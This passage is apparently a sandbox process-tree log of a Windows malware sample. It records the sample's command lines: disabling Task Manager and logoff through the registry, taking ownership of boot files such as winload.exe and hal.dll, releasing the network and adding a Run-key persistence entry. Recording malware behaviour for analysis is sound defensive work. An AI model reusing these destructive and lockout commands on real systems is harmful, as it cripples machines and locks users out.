        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:10044
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\F35F.tmp\F36F.tmp\F4E7.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:5308
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:9228
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6068
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8972
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:5572
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11060
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:4168
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:6952
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:608
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:2776
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4424
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:1020
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:3980
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\66A4.tmp\66A5.tmp\66A6.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:5088
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:4884
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Possible privilege escalation attempt
        
        PID:2300
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3540
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2188
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2632
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:3476
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1252
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1040
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2500
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4368
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:1676
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5228
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:5352
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:5600
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5764
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5868
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5896
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6012
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:1252
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:8
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5200
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5588
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5576
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5996
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:6300
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:7108
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:7120
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7692
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4D7A.tmp\4D7B.tmp\4D7C.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:5252
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10784
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7904
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8108
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:3204
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:3932
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:4276
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\814C.tmp\814D.tmp\814E.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8556
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:8212
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8512
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8720
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:8840
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:6804
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AC63.tmp\AC64.tmp\AC65.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:1660
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:9140
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:3304
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:2460
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:9316
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:10020
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\F4D6.tmp\F4D7.tmp\F4D8.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:9412
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:1064
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:5196
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:9676
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:8804
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:10820
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4F4A.tmp\4F4B.tmp\4F5C.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:5400
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:11124
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:5208
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7392
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:1408
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:4568
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4120
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3572
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3820
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:2556
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6DC8.tmp\6DC9.tmp\6DCA.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:2152
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:4752
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2704
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4944
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        
        PID:4556
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4560
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4944
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2120
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        Views/modifies file attributes
        
        PID:836
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4944
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2092
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:3352
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5188
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:5276
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:5424
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5628
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5692
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5756
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5848
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5952
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6044
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:1768
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5528
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6036
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5332
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:6332
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:6576
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:6804
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:6400
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1BFA.tmp\1BFB.tmp\1BFC.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:6512
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:6884
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:9876
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8288
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:9396
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10116
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7788
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7944
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:5292
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6808
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7088
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:7076
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7068
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\25AF.tmp\25B0.tmp\25B1.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:6576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:9896
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:10804
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8888
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6616
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10404
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:3392
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7184
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7296
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:7376
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7624
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4452.tmp\4453.tmp\4454.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:7828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:11012
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:9452
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:10952
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7700
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7928
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:6344
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:3100
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:8156
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\812C.tmp\812D.tmp\812E.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:8524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:9908
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:9500
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6372
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8856
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10328
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:8140
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:6976
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:6680
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8416
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8672
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:8808
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7472
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ABA7.tmp\ABA8.tmp\ABA9.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:7252
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:5584
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:5500
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7584
    - - C:\Windows\system32\mspaint.exe
        
        mspaint
        5⤵
        
        PID:8232
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:9984
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:8724
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:6696
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11244
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:7784
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2124
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4740
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4476
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:1424
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:2408
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7BD2.tmp\7BD3.tmp\7BD4.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:4988
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:4888
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Possible privilege escalation attempt
        
        PID:212
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4212
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:864
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:908
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        Modifies file permissions
        
        PID:1252
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:608
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4408
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2092
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5144
    - - C:\Windows\system32\attrib.exe
        
